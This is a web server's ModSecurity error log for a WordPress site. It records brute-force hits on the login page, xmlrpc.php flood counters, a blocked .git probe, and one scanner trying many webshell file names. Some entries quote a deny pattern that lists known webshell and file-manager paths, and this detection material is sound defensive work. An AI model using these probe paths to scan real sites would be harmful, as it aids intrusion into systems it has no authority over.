[Tue Dec 23 13:07:46.011827 2025] [:error] [pid 3405:tid 3445] [client 38.246.32.166:60218] [client 38.246.32.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUojordHHpIDpQ39rwnLZAAAAAg"]
[Tue Dec 23 13:07:46.011937 2025] [:error] [pid 3405:tid 3451] [client 38.246.32.166:60217] [client 38.246.32.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUojordHHpIDpQ39rwnLZQAAAA4"]
[Tue Dec 23 13:49:54.289862 2025] [:error] [pid 3404:tid 3426] [client 13.234.49.2:41404] [client 13.234.49.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.234.49.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUotgsJGbPWZNlrhVJfwiQAAAdE"]
[Tue Dec 23 13:49:56.162653 2025] [:error] [pid 3404:tid 3419] [client 13.234.49.2:41404] [client 13.234.49.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.234.49.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUothMJGbPWZNlrhVJfwkQAAAco"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 14:24:36.474661 2025] [:error] [pid 11812:tid 11817] [client 208.115.224.167:57116] [client 208.115.224.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUo1pLBkIQ4nTXm4A3W_AwAAAIM"]
[Tue Dec 23 14:24:36.475110 2025] [:error] [pid 3497:tid 3512] [client 208.115.224.167:57117] [client 208.115.224.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUo1pOzUE6hZ8LJecSu9jgAAAMw"]
[Tue Dec 23 14:44:09.090480 2025] [:error] [pid 49993:tid 49998] [client 47.86.33.61:33546] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6OajLOkLOc-I9e9tLvgAAAUI"]
[Tue Dec 23 14:44:11.374621 2025] [:error] [pid 3405:tid 3446] [client 47.86.33.61:33552] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6O7dHHpIDpQ39rwnhuAAAAAk"]
[Tue Dec 23 14:44:13.307217 2025] [:error] [pid 3497:tid 3520] [client 47.86.33.61:50992] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6PezUE6hZ8LJecSvDOQAAANQ"]
[Tue Dec 23 14:44:51.159034 2025] [:error] [pid 3405:tid 3447] [client 47.239.68.136:34304] [client 47.239.68.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.68.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6Y7dHHpIDpQ39rwnhzAAAAAo"]
[Tue Dec 23 14:44:53.395768 2025] [:error] [pid 3497:tid 3503] [client 47.239.68.136:34308] [client 47.239.68.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.68.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6ZezUE6hZ8LJecSvDWgAAAMM"]
[Tue Dec 23 14:44:55.372835 2025] [:error] [pid 49993:tid 50011] [client 47.239.68.136:34312] [client 47.239.68.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.239.68.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUo6Z6jLOkLOc-I9e9tMDgAAAU8"]
[Tue Dec 23 15:36:39.171520 2025] [:error] [pid 49993:tid 50009] [client 38.246.33.131:57379] [client 38.246.33.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpGh6jLOkLOc-I9e9thjwAAAU0"]
[Tue Dec 23 15:36:39.172445 2025] [:error] [pid 49993:tid 50011] [client 38.246.33.131:57378] [client 38.246.33.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpGh6jLOkLOc-I9e9thkAAAAU8"]
[Tue Dec 23 16:52:29.543180 2025] [:error] [pid 3406:tid 3486] [client 98.98.171.119:53000] [client 98.98.171.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpYTfn8DLWxW7TPzpGfwgAAAFY"]
[Tue Dec 23 16:52:29.564413 2025] [:error] [pid 3406:tid 3485] [client 98.98.171.119:52999] [client 98.98.171.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpYTfn8DLWxW7TPzpGfwwAAAFU"]
[Tue Dec 23 18:08:40.084566 2025] [:error] [pid 11812:tid 11829] [client 98.98.171.70:58786] [client 98.98.171.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpqKLBkIQ4nTXm4A3X1RwAAAI8"]
[Tue Dec 23 18:08:40.088331 2025] [:error] [pid 3406:tid 3477] [client 98.98.171.70:58787] [client 98.98.171.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUpqKPn8DLWxW7TPzpG5dwAAAE0"]
[Tue Dec 23 19:23:44.563545 2025] [:error] [pid 3405:tid 3448] [client 185.230.124.217:59982] [client 185.230.124.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUp7wLdHHpIDpQ39rwkiJwAAAAs"]
[Tue Dec 23 19:23:44.563542 2025] [:error] [pid 3406:tid 3471] [client 185.230.124.217:59981] [client 185.230.124.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUp7wPn8DLWxW7TPzpHUsgAAAEc"]
[Tue Dec 23 20:31:06.947265 2025] [:error] [pid 3404:tid 3426] [client 128.199.123.5:51500] [client 128.199.123.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.123.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqLisJGbPWZNlrhVJdVGgAAAdE"]
[Tue Dec 23 20:31:09.808248 2025] [:error] [pid 3497:tid 3520] [client 8.133.194.234:56084] [client 8.133.194.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.133.194.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqLjezUE6hZ8LJecSsU_AAAANQ"]
[Tue Dec 23 20:31:16.893534 2025] [:error] [pid 3405:tid 3456] [client 203.162.234.20:35422] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqLlLdHHpIDpQ39rwk_vwAAABM"]
[Tue Dec 23 20:31:28.351825 2025] [:error] [pid 3404:tid 3428] [client 178.162.236.32:57098] [client 178.162.236.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.162.236.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqLoMJGbPWZNlrhVJdVLQAAAdM"]
[Tue Dec 23 20:31:28.787212 2025] [:error] [pid 54408:tid 54433] [client 128.65.195.155:45498] [client 128.65.195.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.65.195.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqLoGup4YbWx_MWvp1WfAAAApY"]
[Tue Dec 23 22:00:54.510945 2025] [:error] [pid 3405:tid 3451] [client 3.96.145.172:40774] [client 3.96.145.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUqglrdHHpIDpQ39rwlXfgAAAA4"]
[Tue Dec 23 22:01:03.450628 2025] [:error] [pid 3405:tid 3459] [client 3.96.145.172:45472] [client 3.96.145.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.96.145.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqgn7dHHpIDpQ39rwlXiAAAABY"]
[Tue Dec 23 22:13:34.733413 2025] [:error] [pid 3405:tid 3459] [client 125.212.243.37:34194] [client 125.212.243.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.212.243.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUqjjrdHHpIDpQ39rwlboAAAABY"]
[Tue Dec 23 22:28:08.873229 2025] [:error] [pid 3406:tid 3487] [client 4.247.164.181:7145] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "aUqm-Pn8DLWxW7TPzpH5UAAAAFc"]
[Tue Dec 23 22:28:11.553888 2025] [:error] [pid 54375:tid 54400] [client 4.247.164.181:25367] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "aUqm-51Yro3O5R2WY-CEVwAAAlc"]
[Tue Dec 23 22:28:12.280159 2025] [:error] [pid 3406:tid 3464] [client 4.247.164.181:25405] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "aUqm_Pn8DLWxW7TPzpH5UQAAAEA"]
[Tue Dec 23 22:28:16.529941 2025] [:error] [pid 25976:tid 25979] [client 4.247.164.181:25358] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "aUqnALF6LaWzQScE-xOUkQAAAQE"]
[Tue Dec 23 22:28:17.594305 2025] [:error] [pid 54340:tid 54358] [client 4.247.164.181:25634] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUqnAZye8-oij4iGhog45AAAAhA"]
[Tue Dec 23 22:28:23.257961 2025] [:error] [pid 54340:tid 54349] [client 4.247.164.181:25487] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUqnB5ye8-oij4iGhog45QAAAgc"]
[Tue Dec 23 22:28:31.190282 2025] [:error] [pid 3404:tid 3421] [client 4.247.164.181:26450] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUqnD8JGbPWZNlrhVJdoDwAAAcw"]
[Tue Dec 23 22:28:36.676948 2025] [:error] [pid 3406:tid 3488] [client 4.247.164.181:25554] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUqnFPn8DLWxW7TPzpH5ZQAAAFg"]
[Tue Dec 23 22:28:37.404607 2025] [:error] [pid 3497:tid 3522] [client 4.247.164.181:25581] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUqnFezUE6hZ8LJecSsyPQAAANY"]
[Tue Dec 23 22:28:40.784513 2025] [:error] [pid 11812:tid 11817] [client 4.247.164.181:22761] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUqnGLBkIQ4nTXm4A3UwFAAAAIM"]
[Tue Dec 23 22:28:42.462110 2025] [:error] [pid 3497:tid 3513] [client 4.247.164.181:26595] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUqnGuzUE6hZ8LJecSsyQgAAAM0"]
[Tue Dec 23 22:28:45.222454 2025] [:error] [pid 3404:tid 3427] [client 4.247.164.181:31810] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aUqnHcJGbPWZNlrhVJdoHAAAAdI"]
[Tue Dec 23 22:29:22.259622 2025] [:error] [pid 3404:tid 3423] [client 4.247.164.181:26604] [client 4.247.164.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aUqnQsJGbPWZNlrhVJdoUAAAAc4"]
[Tue Dec 23 22:29:26.978399 2025] [:error] [pid 54297:tid 54323] [client 4.247.164.181:22705] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUqnRkZMNime0caoKPK0JgAAAZY"]
[Tue Dec 23 22:29:28.704867 2025] [:error] [pid 3406:tid 3487] [client 4.247.164.181:25468] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUqnSPn8DLWxW7TPzpH5jgAAAFc"]
[Tue Dec 23 22:29:30.065090 2025] [:error] [pid 25976:tid 25981] [client 4.247.164.181:25466] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUqnSrF6LaWzQScE-xOU0QAAAQM"]
[Tue Dec 23 22:29:31.168130 2025] [:error] [pid 3405:tid 3452] [client 4.247.164.181:18484] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUqnS7dHHpIDpQ39rwlggQAAAA8"]
[Tue Dec 23 22:29:33.973463 2025] [:error] [pid 54297:tid 54317] [client 4.247.164.181:23217] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manage.php"] [unique_id "aUqnTUZMNime0caoKPK0JwAAAZA"]
[Tue Dec 23 22:29:34.972034 2025] [:error] [pid 3497:tid 3513] [client 4.247.164.181:25462] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manage.php"] [unique_id "aUqnTuzUE6hZ8LJecSsyZAAAAM0"]
[Tue Dec 23 22:29:37.319796 2025] [:error] [pid 3405:tid 3453] [client 4.247.164.181:7100] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manage.php"] [unique_id "aUqnUbdHHpIDpQ39rwlghgAAABA"]
[Tue Dec 23 22:29:39.413724 2025] [:error] [pid 25976:tid 25998] [client 4.247.164.181:24531] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manage.php"] [unique_id "aUqnU7F6LaWzQScE-xOU0wAAARQ"]
[Tue Dec 23 22:29:45.731301 2025] [:error] [pid 3405:tid 3452] [client 4.247.164.181:7101] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUqnWbdHHpIDpQ39rwlglgAAAA8"]
[Tue Dec 23 22:29:47.002894 2025] [:error] [pid 11812:tid 11816] [client 4.247.164.181:25429] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUqnW7BkIQ4nTXm4A3UwOQAAAII"]
[Tue Dec 23 22:29:49.942415 2025] [:error] [pid 54375:tid 54386] [client 4.247.164.181:23203] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUqnXZ1Yro3O5R2WY-CEjQAAAkk"]
[Tue Dec 23 22:29:51.341716 2025] [:error] [pid 3406:tid 3484] [client 4.247.164.181:6532] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUqnX_n8DLWxW7TPzpH5nAAAAFQ"]
[Tue Dec 23 22:29:59.594440 2025] [:error] [pid 54408:tid 54434] [client 4.247.164.181:18449] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aUqnZ2up4YbWx_MWvp1qiwAAApc"]
[Tue Dec 23 22:30:11.332415 2025] [:error] [pid 54375:tid 54377] [client 4.247.164.181:7044] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aUqnc51Yro3O5R2WY-CEmwAAAkA"]
[Tue Dec 23 22:30:13.352229 2025] [:error] [pid 54408:tid 54418] [client 4.247.164.181:24524] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aUqndWup4YbWx_MWvp1qmgAAAoc"]
[Tue Dec 23 22:30:15.349795 2025] [:error] [pid 3405:tid 3452] [client 4.247.164.181:24568] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aUqnd7dHHpIDpQ39rwlgoQAAAA8"]
